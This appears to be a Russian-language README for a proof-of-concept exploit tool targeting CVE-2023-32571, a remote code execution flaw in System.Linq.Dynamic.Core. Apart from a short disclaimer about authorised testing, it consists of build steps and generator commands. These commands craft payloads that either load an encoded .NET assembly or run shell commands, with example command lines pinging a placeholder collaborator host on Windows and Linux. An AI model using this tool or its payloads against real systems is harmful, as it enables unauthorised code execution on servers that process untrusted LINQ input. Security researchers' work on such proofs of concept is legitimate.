
Доказательство концепции для CVE-2023-32571
Доказательство концепции для CVE-2023-32571, уязвимости удаленного выполнения кода в System.Linq.Dynamic.Core (версии с 1.0.7.10 по 1.2.25). Эта уязвимость позволяет злоумышленникам выполнять произвольный код и команды при обработке недоверенного ввода в методах, включая Where, Select, OrderBy.
Этот инструмент предоставляется только для образовательных и разрешенных целей тестирования. Использование этого инструмента для атаки на цели без предварительного взаимного согласия незаконно. Разработчики не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причиненный этой программой.
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dllИнструмент поддерживает два режима:
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux command execution
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: Режим эксплуатации (0=AssemblyLoad, 1=ProcessStart)--file: Путь к загружаемой .NET сборке (требуется для режима AssemblyLoad)--type: Полное имя типа для создания экземпляра (требуется для режима AssemblyLoad)--parameters: Параметры в зависимости от режима:
--encoding: Метод кодирования для режима AssemblyLoad (0=Hex, 1=Base64)